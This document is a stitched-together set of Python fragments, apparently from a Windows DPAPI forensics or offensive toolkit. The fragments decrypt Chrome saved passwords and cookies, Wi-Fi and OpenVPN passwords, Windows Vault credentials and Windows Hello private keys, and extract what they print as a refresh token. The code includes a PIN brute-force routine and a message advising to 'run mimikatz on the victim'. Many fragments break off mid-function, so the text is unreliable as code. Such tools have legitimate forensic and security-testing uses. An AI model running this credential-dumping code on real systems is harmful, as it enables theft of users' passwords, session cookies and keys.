def parsePolicy(bData, boolVerbose = False): bVersion = reverseByte(bData[:4]) sPolGuid = parseGUID(bData[4:20]) iPolDescrLen = int(reverseByte(bData[20:24]).hex(), 16) sPolDescr = bData[24:24+iPolDescrLen].decode('utf-16le').strip('\x00') iOffset = 24 + iPolDescrLen + 4 + 4 + 4 ## Unk1, Unk2 & Unk3 contain Unknown bytes, usually 0x0 or 0x1 bRemainder = bData[iOffset:] ## start of vpol_store(s) if boolVerbose: print('--- Policy MetaData ---') print('[+] GUID : ' + sPolGuid) print('[+] Description : ' + sPolDescr) i = 0 while len(bRemainder) >= 4: i += 1 iStoreLen = int(reverseByte(bRemainder[:4]).hex(), 16) bRemainder = bRemainder[4:] if iStoreLen == 0: bRemainder = '' continue else: sStoreGuid = parseGUID(bRemainder[:16]) sStoreGuid2 = parseGUID(bRemainder[16:32]) iBlobLen = int(reverseByte(bRemainder[32:36]).hex(), 16) bStoreBlob = blob.DPAPIBlob(bRemainder[36:36+iBlobLen]) bRemainder = bRemainder[36+iStoreLen:] if boolVerbose: if boolVerbose: print('-- Policy Store ' + str(i) + ' --') print('[+] GUID : ' + sStoreGuid) print(bStoreBlob) return bStoreBlob
def decrypt_credential_block(mkp, credential_block): """Helper to decrypt credential block.""" sblob_raw = b''.join(b.raw_data for b in credential_block.CREDENTIAL_DEC_BLOCK_ENC) sblob = blob.DPAPIBlob(sblob_raw) return decrypt_blob(mkp, sblob)
def parse(self, data): """Parses raw data into structured data. Automatically called by __init__. You should not call it manually. data is a DataStruct object. """ self.dpapiblob = blob.DPAPIBlob(data.remain())
def parseLocalState(sLocalStateFile): try: with open(sLocalStateFile, 'r') as oFile: lLocalState = json.loads(oFile.read()) oFile.close() sDPAPIBlob = base64.b64decode(lLocalState["os_crypt"]["encrypted_key"])[5:] except: print('[-] Error: file ' + sLocalStateFile + ' not a (correct) State file') return False oBlob = blob.DPAPIBlob(sDPAPIBlob) return oBlob
def decryptCred(oCred, oMKP): sProfName = oCred.profileName sUser = oCred.userName oBlob = blob.DPAPIBlob(base64.b64decode(str(oCred.password))) sDomain = oCred.domain lstMKs = oMKP.getMasterKeys(oBlob.mkguid.encode()) if len(lstMKs) == 0: print('[-] Unable to find MK for blob %s' % oBlob.mkguid) for oMK in lstMKs: if oMK.decrypted: oBlob.decrypt(oMK.get_key()) if oBlob.decrypted: sClearPass = oBlob.cleartext else: sClearPass = None return (sProfName, sUser, sDomain, sClearPass.decode('UTF-16LE'))
def decryptChromeString(bData, bBMEKey, lstMasterkeys, boolVerbose = False): if bData[:4] == b'\x01\x00\x00\x00': oBlob = blob.DPAPIBlob(bData) for bMK in lstMasterkeys: oBlob.decrypt(bMK) if oBlob.decrypted: return oBlob.cleartext.decode(errors='ignore') else: try: bIV = bData[3:15] bPayload = bData[15:] oCipher = AES.new(bBMEKey, AES.MODE_GCM, bIV) bDecrypted = oCipher.decrypt(bPayload) return bDecrypted[:-16].decode(errors='ignore') except: if boolVerbose: print('[-] Error decrypting, maybe Browser Engine < v80') pass return None
def parseLoginFile(sLoginFile, lstGUIDs): lstLogins = [] oConn = sqlite3.connect(sLoginFile) oCursor = oConn.cursor() try: oCursor.execute('SELECT origin_url, username_value, password_value FROM logins') for lstData in oCursor.fetchall(): if lstData[2][:4] == b'\x01\x00\x00\x00': oBlob = blob.DPAPIBlob(lstData[2]) if not oBlob.mkguid in lstGUIDs: lstGUIDs.append(oBlob.mkguid) lstLogins.append((lstData[0], lstData[1], lstData[2])) except Exception as e: print('[-] Error reading Login Data file, make sure it is not in use.') print(e) oCursor.close() oConn.close() return lstLogins, lstGUIDs ## lstLogins = list of lists (url, username, blob)
def parseCookieFile(sCookieFile, lstGUIDs): lstCookies = [] oConn = sqlite3.connect(sCookieFile) oCursor = oConn.cursor() try: oCursor.execute('SELECT name, encrypted_value, host_key, path, is_secure, is_httponly, creation_utc, expires_utc FROM cookies ORDER BY host_key') for lstData in oCursor.fetchall(): if lstData[1][:4] == b'\x01\x00\x00\x00': oBlob = blob.DPAPIBlob(lstData[1]) if not oBlob.mkguid in lstGUIDs: lstGUIDs.append(oBlob.mkguid) lstCookies.append((lstData[0], lstData[1], lstData[2], lstData[3], lstData[4], lstData[5], lstData[6], lstData[7])) except Exception as e: print('[-] Error reading Cookies file, make sure it is not in use.') print(e) oCursor.close() oConn.close() return lstCookies, lstGUIDs ## lstCookies = list of lists (name, blob, domain, path, secureconnection, httponly, created, expires)
def parsePreferences(sFilepath, mkp): # userKey (DPAPI blob with AES key, 32 bytes), keySafe (x bytes), data (x bytes) sUserKey = sKeySafe = sData = '' try: with open(sFilepath, 'r') as file: sLine = file.readline() while sLine: if sLine.startswith('encryption.userKey'): sUserKey = sLine.split(' = ')[1].strip().replace('"', '') elif sLine.startswith('encryption.keySafe'): sKeySafe = sLine.split(' = ')[1].strip().replace('"', '') elif sLine.startswith('encryption.data'): sData = sLine.split(' = ')[1].strip().replace('"', '') sLine = file.readline() except: exit('[-] Error: file ' + sFilepath + ' not found or corrupt.') finally: file.close() # userKey oBlob = blob.DPAPIBlob(base64.b64decode(sUserKey)) mks = mkp.getMasterKeys(oBlob.mkguid.encode()) for mk in mks: if mk.decrypted: oBlob.decrypt(mk.get_key()) if oBlob.decrypted: bUserKey = base64.b64decode( urllib.parse.unquote( oBlob.cleartext.decode()).split(':key=')[1]) # keySafe bKeySafe = base64.b64decode( urllib.parse.unquote( sKeySafe.split('/')[len(sKeySafe.split('/')) - 1].split(',')[2].replace(')', ''))) # data bData = base64.b64decode(sData) return (bUserKey, bKeySafe, bData)
def main(sCryptoFolder, sMasterkey, sSystem, sSecurity, sPIN, sPINGUID, boolOutput = True, pemexport="", sid=None, password=None): ## if sPIN == '', do brute force if sSystem: reg = registry.Regedit() secrets = reg.get_lsa_secrets(sSecurity, sSystem) dpapi_system = secrets.get('DPAPI_SYSTEM')['CurrVal'] mkp = masterkey.MasterKeyPool() if sMasterkey: mkp.loadDirectory(sMasterkey) mkp.addSystemCredential(dpapi_system) decrn=mkp.try_credential_hash(None, None) #print("Decrypted keys %d" % decrn) if sid and password: mkp.try_credential(options.sid, options.password) for root, _, files in os.walk(sCryptoFolder): for sFile in files: filepath = os.path.join(root, sFile) with open(filepath, 'rb') as f: file_data = f.read() sInfo, arrFieldData = parseFile(file_data) if boolOutput: print('-' * 10 + ' ' + sFile + ' ' + '-' * 10) print('[+] KEY GUID : ' + sInfo) ### Field 2 and 3 are DPAPI Blob parseField1(arrFieldData[0], boolOutput) ## Private Key Properties should work with static Entropy '6jnkd5J3ZdQDtrsu' blobPrivateKeyProperties = arrFieldData[1] pkpBlob = blob.DPAPIBlob(blobPrivateKeyProperties) mks = mkp.getMasterKeys(pkpBlob.mkguid.encode()) for mk in mks: if mk.decrypted: pkpBlob.decrypt(mk.get_key(), entropy = b'6jnkd5J3ZdQDtrsu\x00') if pkpBlob.decrypted: if boolOutput: print('[+] Private Key Properties decrypted!') arrPrivateKeyProperties = parsePrivateKeyProperties(pkpBlob.cleartext.hex(), boolOutput) ## Private Key, we can try, but the entropy is either unknown static or variable (some are 'xT5rZW5qVVbrvpuA') blobPrivateKey = arrFieldData[2] pkBlob = blob.DPAPIBlob(blobPrivateKey) mks = mkp.getMasterKeys(pkBlob.mkguid.encode()) for mk in mks: if mk.decrypted: pkBlob.decrypt(mk.get_key(), entropy = b'xT5rZW5qVVbrvpuA\x00', strongPassword=None) if pkBlob.decrypted and boolOutput: print('[+] Private Key decrypted : ') print(' ' + pkBlob.cleartext.hex()) if pemexport: savePEM(pkBlob.cleartext.hex(), pem_path=pemexport, pemname=sInfo) else: if sPINGUID and sPINGUID in sInfo and arrPrivateKeyProperties: for sProperty in arrPrivateKeyProperties: if sProperty['Name'].decode('UTF-16LE',errors='ignore') == 'NgcSoftwareKeyPbkdf2Salt': sSalt = sProperty['Value'].hex() elif sProperty['Name'].decode('UTF-16LE',errors='ignore') == 'NgcSoftwareKeyPbkdf2Round': iRounds = int(reverseByte(sProperty['Value']).hex(),16) if sPIN and not sPIN == '': pkResult = decryptWithPIN(mk, pkBlob, sSalt, iRounds, sPIN) elif options.pinbrute: if boolOutput: print('[!] Trying PIN brute force 0000 through {}, this will take some time '.format(iMaxPIN)) (pkResult, sPIN) = brutePIN(mk, pkBlob, sSalt, iRounds) elif options.pinexport: exportHASH(mk, pkBlob, sSalt, iRounds, sPINGUID) pkResult = None if pkResult and pkResult.decrypted: if boolOutput: print('[+] Private Key decrypted with PIN (' + sPIN + ') :') print(' ' + pkBlob.cleartext.hex()) else: ## no bool output means: called by other script that is only interested in this cleartext data return pkBlob.cleartext else: if sPIN and boolOutput: print('[-] Decryption with PIN tried but failed') else: if boolOutput: print('[-] Entropy unknown for ' + pkBlob.description.decode()) if boolOutput: print('')
def main(self): file_list = [] for f in (os.listdir(self.dir_location)): file_list.append(os.path.join(self.dir_location, f)) if not ((os.path.join(self.dir_location, 'Local State') in file_list) and (os.path.join(self.dir_location, 'Login Data') in file_list)): print("No Local State and Login Data found in that directory") sys.exit(2) else: print(bcolors.OKGREEN + " * " + bcolors.ENDC + "Local State and Login Data files found") #call function to read Local State file and get an impacket Blob dpapi file #open dpapi blob key = self.local_state_file(self.dir_location) bl = blob.DPAPIBlob(key) file_list = [] if (self.masterkey_location): mkp = masterkey.MasterKeyPool() mkp.loadDirectory(self.masterkey_location) mks = mkp.getMasterKeys(bl.mkguid.encode()) if len(mks) == 0: sys.exit('[-] Unable to find MK for blob %s' % bl.mkguid) else: print(bcolors.OKGREEN + " * " + bcolors.ENDC + "MasterKey file found") else: print("Needed masterkey(-m) directory with the location of " + bl.mkguid) sys.exit(2) if not (self.sid_value): try: self.sid_value = (re.search('((S-1).*?)/', self.masterkey_location)[1]) print(bcolors.OKGREEN + " * " + bcolors.ENDC + "SID " + self.sid_value) except: print("Need to specify SID") sys.exit(2) #Check if password or nopass if self.nopass: self.user_password = '' elif not self.user_password: print("Need user password (-p)") sys.exit(2) # go for the decrypt #Add chredhist #mkp.addCredhistFile(sid, os.path.join('Protect','CREDHIST')) mkp.try_credential(self.sid_value, self.user_password) for mk in mks: mk.decryptWithPassword(self.sid_value, self.user_password) if mk.decrypted: print(bcolors.OKGREEN + " * " + bcolors.ENDC + "Mk decrypted") bl.decrypt(mk.get_key(), entropy=self.entropy) if bl.decrypted: #if called alone if __name__ == "__main__": decrypted = bl.cleartext.hex() print(decrypted) print() print("# # Success! (saved to decrypted.bin) # #") print() #print(decrypted.decode('utf-16-le')) f = open('decrypted.bin', 'wb') f.write(bl.cleartext) f.close() else: # if called as module import self.enc_key = bl.cleartext else: # Just print the data print(bcolors.FAIL + " * * * * * * * * * * " + bcolors.ENDC) print(bcolors.FAIL + " * " + bcolors.ENDC + "Error decrypting, Wrong Password?") print(bcolors.FAIL + " * * * * * * * * * * " + bcolors.ENDC) print(bl)
def parse(self, data): self.dpapiblob = blob.DPAPIBlob(data.remain())
print("===========Decrypted OK !==========") if options.debug: print("Deflated data: %s" % bigdeflated) if options.outfile: outfile = open(options.outfile, 'wb') outfile.write(bigdeflated) if len(bigdeflated) > 0: startind = bigdeflated.find(b'0.A') endind = bigdeflated.find(b'\x00', startind) refresh_token = bigdeflated[startind:endind] print("Refresh token: %s" % refresh_token.decode()) if len(bigdeflated) and sysdecr > 0: startind = bigdeflated.find(b'AQAAAA') endind = bigdeflated.find(b'\x00', startind) sysblob = base64.b64decode(bigdeflated[startind:endind])[8:] dpapiblob = blob.DPAPIBlob(sysblob) mks = systemmkp.getMasterKeys(dpapiblob.mkguid.encode()) for mk in mks: if mk.decrypted: dpapiblob.decrypt(mk.get_key()) if dpapiblob.decrypted: print(('-' * 79)) print('System key Blob Decrypted:') print((dpapiblob.cleartext.hex())) exit()
mkp.addSystemCredential(dpapi_system) mkp.try_credential_hash(None, None) for root, _, files in os.walk(args[0]): for file in files: filepath = os.path.join(root, file) with open(filepath, 'r') as f: file_data = f.read().replace('\x0a', '').replace('\x0d', '') wifi_name = re.search('<name>([^<]+)</name>', file_data) wifi_name = wifi_name.group(1) key_material_re = re.search( '<keyMaterial>([0-9A-F]+)</keyMaterial>', file_data) if not key_material_re: if re.search('<EAPConfig>', file_data): print(('[!] The pass for EAP profile ' + wifi_name + ' (' + file + ')' + ' is in the registry')) else: print(('[-] No key for: ' + wifi_name)) continue key_material = bytes.fromhex(key_material_re.group(1)) wblob = blob.DPAPIBlob(key_material) wifi_pwd = '<not decrypted>' mks = mkp.getMasterKeys(wblob.mkguid.encode()) for mk in mks: if mk.decrypted: wblob.decrypt(mk.get_key()) if wblob.decrypted: wifi_pwd = wblob.cleartext.decode(errors='ignore') break print(('[+] SSID: {} \n Password: {}'.format( wifi_name, wifi_pwd)))
parser.add_option('--masterkey', metavar='DIRECTORY', dest='masterkeydir', help='Folder to get Masterkey(s) from') parser.add_option('--system', metavar='HIVE', dest='system', help='SYSTEM hive') parser.add_option('--security', metavar='HIVE', dest='security', help='SECURITY hive') parser.add_option('--mkhex', metavar='HEX', dest='mkhex', help='Single 128 HEX masterkey') parser.add_option('--prt', metavar='STRING', dest='prt', help='PRT key to use to generate EY token') (options, args) = parser.parse_args() check_parameters(options, args) bKey = bDerivedKey = bContext = b'' oFileData = base64.urlsafe_b64decode(args[0]) iVersion = int(reverseByte(oFileData[:4]).hex(), 16) if not iVersion == 1: sys.exit('[-] Error: Key is encrypted using TPM. For now, please run mimikatz on the victim.') print('[+] Key in software, good to go') oBlob = blob.DPAPIBlob(oFileData[8:]) print('[+] MK required: {}'.format(oBlob.mkguid)) if not options.mkhex and not (options.system or options.security or options.masterkeydir): exit('[-] Please provide decryption details.') if not options.mkhex: reg = registry.Regedit() secrets = reg.get_lsa_secrets(options.security, options.system) dpapi_system = secrets.get('DPAPI_SYSTEM')['CurrVal'] oMKP = masterkey.MasterKeyPool() oMKP.loadDirectory(options.masterkeydir) oMKP.addSystemCredential(dpapi_system) oMKP.try_credential_hash(None, None) oMKS = oMKP.getMasterKeys(oBlob.mkguid.encode()) for oMK in oMKS: if oMK.decrypted:
mkp.try_credential(options.sid, options.password) if options.pwdhash: mkp.try_credential_hash(options.sid, bytes.fromhex(options.pwdhash)) with open(args[0], 'rb') as f: r = registry.Registry.Registry(f) arrProfiles = r.open('Software\\OpenVPN-GUI\\configs') if len(arrProfiles.subkeys()) <= 0: exit('[-] Error, no profiles found in ntuser.dat') for key in arrProfiles.subkeys(): print(('[!] Attempting to decrypt: ' + key.name())) try: entropy = key.value('entropy').value() except: entropy = None try: vpnblob = blob.DPAPIBlob(key.value('key-data').value()) except: vpnblob = blob.DPAPIBlob(key.value('auth-data').value()) mks = mkp.getMasterKeys(vpnblob.mkguid.encode()) for mk in mks: if mk.decrypted: ## Entropy ends with a nullbyte vpnblob.decrypt(mk.get_key(), entropy=entropy.rstrip(b'\x00')) if vpnblob.decrypted: ## Cleartext is a unicode string print( ('[+] OpenVPN profile "{}" has cert password "{}"'. format( key.name(), vpnblob.cleartext.decode('utf16').rstrip(
for root, _, files in os.walk(options.wifi_dir): for file in files: filepath = os.path.join(root, file) with open(filepath, 'r') as f: file_data = f.read().replace('\x0a', '').replace('\x0d', '') wifi_name = re.search('<name>([^<]+)</name>', file_data) wifi_name = wifi_name.group(1) if not re.search('<EAPConfig>', file_data): continue with open(options.ntuser, 'rb') as f: r = registry.Registry.Registry(f) try: hexdata1 = r.open('Software\\Microsoft\\Wlansvc\\UserData\\Profiles\\' + file[:38]).value('MSMUserData').value() except: sys.exit('[-] Error: No Wi-Fi data in NTUSER, wrong user?') ## DPAPI Blob containing username, possibly domain and another DPAPI blob with password wblob1 = blob.DPAPIBlob(hexdata1) wifi_username = '******' wifi_domain = '<none>' wifi_pwd = '<not decrypted>' mks1 = mkp1.getMasterKeys(wblob1.mkguid.encode()) for mk1 in mks1: if mk1.decrypted: wblob1.decrypt(mk1.get_key()) if wblob1.decrypted: hexdata2 = wblob1.cleartext.hex() wifi_username = bytes.fromhex(hexdata2.split('0400000002000000')[1].split('00')[0]).decode(errors='ignore') try: wifi_domain = bytes.fromhex(hexdata2.split('0400000002000000')[1].split('00')[1]).decode(errors='ignore') except: pass wblob2 = blob.DPAPIBlob(bytes.fromhex('01000000d08c9ddf01' + hexdata2.split('01000000d08c9ddf01')[1])) mks2 = mkp2.getMasterKeys(wblob2.mkguid.encode()) for mk2 in mks2:
else: if options.credhist: mkp.addCredhistFile(options.sid, options.credhist) if options.password: mkp.try_credential(options.sid, options.password) elif options.pwdhash: mkp.try_credential_hash(options.sid, bytes.fromhex(options.pwdhash)) vaults_dir = args[0] vpol_filename = os.path.join(vaults_dir, 'Policy.vpol') with open(vpol_filename, 'rb') as fin: vpol = vaultstruct.VAULT_POL.parse(fin.read()) vpol_blob = blob.DPAPIBlob(vpol.vpol_store.blob_store.raw) vpol_decrypted = decrypt_blob(mkp, vpol_blob) if not vpol_decrypted: sys.exit('Unable to decrypt blob.') vpol_keys = vaultstruct.VAULT_POL_KEYS.parse(vpol_decrypted) key_aes128 = vpol_keys.vpol_key1.bcrypt_blob.key key_aes256 = vpol_keys.vpol_key2.bcrypt_blob.key for file in os.listdir(vaults_dir): if file.lower().endswith('.vcrd'): filepath = os.path.join(vaults_dir, file) print('-' * 79) print('Working on: %s\n' % file)
if __name__ == '__main__': """Utility core.""" usage = ('usage: %prog [options] BLOB\n\n' 'It tries to decrypt a user|system DPAPI encrypted BLOB.\n' 'use mksdec.py or mkudec.py to decrypt the masterkey') parser = optparse.OptionParser(usage=usage) parser.add_option('--masterkey', metavar='HEX', dest='masterkey') parser.add_option('--entropy_hex', metavar='HIVE', dest='entropy_hex') (options, args) = parser.parse_args() check_parameters(options, args) blob = blob.DPAPIBlob(open(args[0], 'rb').read()) entropy = None if options.entropy_hex: entropy = bytes.fromhex(options.entropy_hex) try: raw_masterkey = bytes.fromhex(options.masterkey) except: sys.exit('[-] Error: masterkey must be HEX values only') blob.decrypt(raw_masterkey, entropy=entropy) if blob.decrypted: print('[+] Blob Decrypted, HEX and TEXT following...') print(('-' * 79)) print((blob.cleartext.hex())) print(('-' * 79)) print((blob.cleartext))
smkp = masterkey.MasterKeyPool() smkp.loadDirectory(options.sysmkdir) smkp.addSystemCredential(dpapi_system) smkp.try_credential_hash(None, None) can_decrypt_sys_blob = True for cred_path in args: for cred_file in os.listdir(cred_path.replace('*', '')): with open(os.path.join(cred_path.replace('*', ''), cred_file), 'rb') as fin: print(('-' * 79)) print(('-' * 5) + ' File: ' + cred_file + ' ' + ('-' * 5)) enc_cred = vaultstruct.CREDENTIAL_FILE.parse(fin.read()) cred_blob = blob.DPAPIBlob(enc_cred.data.raw) print('[+] MK GUID: {}'.format(cred_blob.mkguid)) #print(cred_blob) if umkp: dec_cred, res_err = decrypt_blob(umkp, cred_blob) elif smkp: dec_cred, res_err = decrypt_blob(smkp, cred_blob) else: sys.exit('No MasterKey pools available!') if not dec_cred: helper_dec_err(res_err) continue try: